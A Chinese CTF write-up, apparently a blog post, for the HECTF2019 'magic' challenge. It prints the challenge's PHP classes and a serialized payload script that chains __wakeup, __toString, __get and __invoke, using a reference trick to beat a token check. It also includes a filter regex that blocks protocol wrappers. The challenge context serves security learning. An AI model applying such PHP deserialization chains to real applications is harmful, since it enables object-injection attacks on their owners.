[wp] HECTF2019 让我们一起来变魔术吧

<?php
class Read {
    public $var;
    public $token;
    public $token_flag;
    public function __construct() {
        $this->token_flag = $this->token = md5(rand(1,10000));
    }
    public function __invoke(){
        $this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
        {
            echo "flag{**********}";
        }
    }
}

class Show{
    public $source;
    public $str;
    public function __construct()
    {
        echo $this->source."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
        return '2333';
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }
}


//payload
$x = new Test();
$a = new Show();
$b = new Show();
$c = new Read();
$c->token_flag = &$c->token;
$a->source = $b;
$a->source->str = ["str"=>$x];
$x->params = $c;
var_dump($b = serialize($a));

unserialize($b);

主要是

if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source))

这里的preg_match可以触发this->source的__toString(),长知识了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值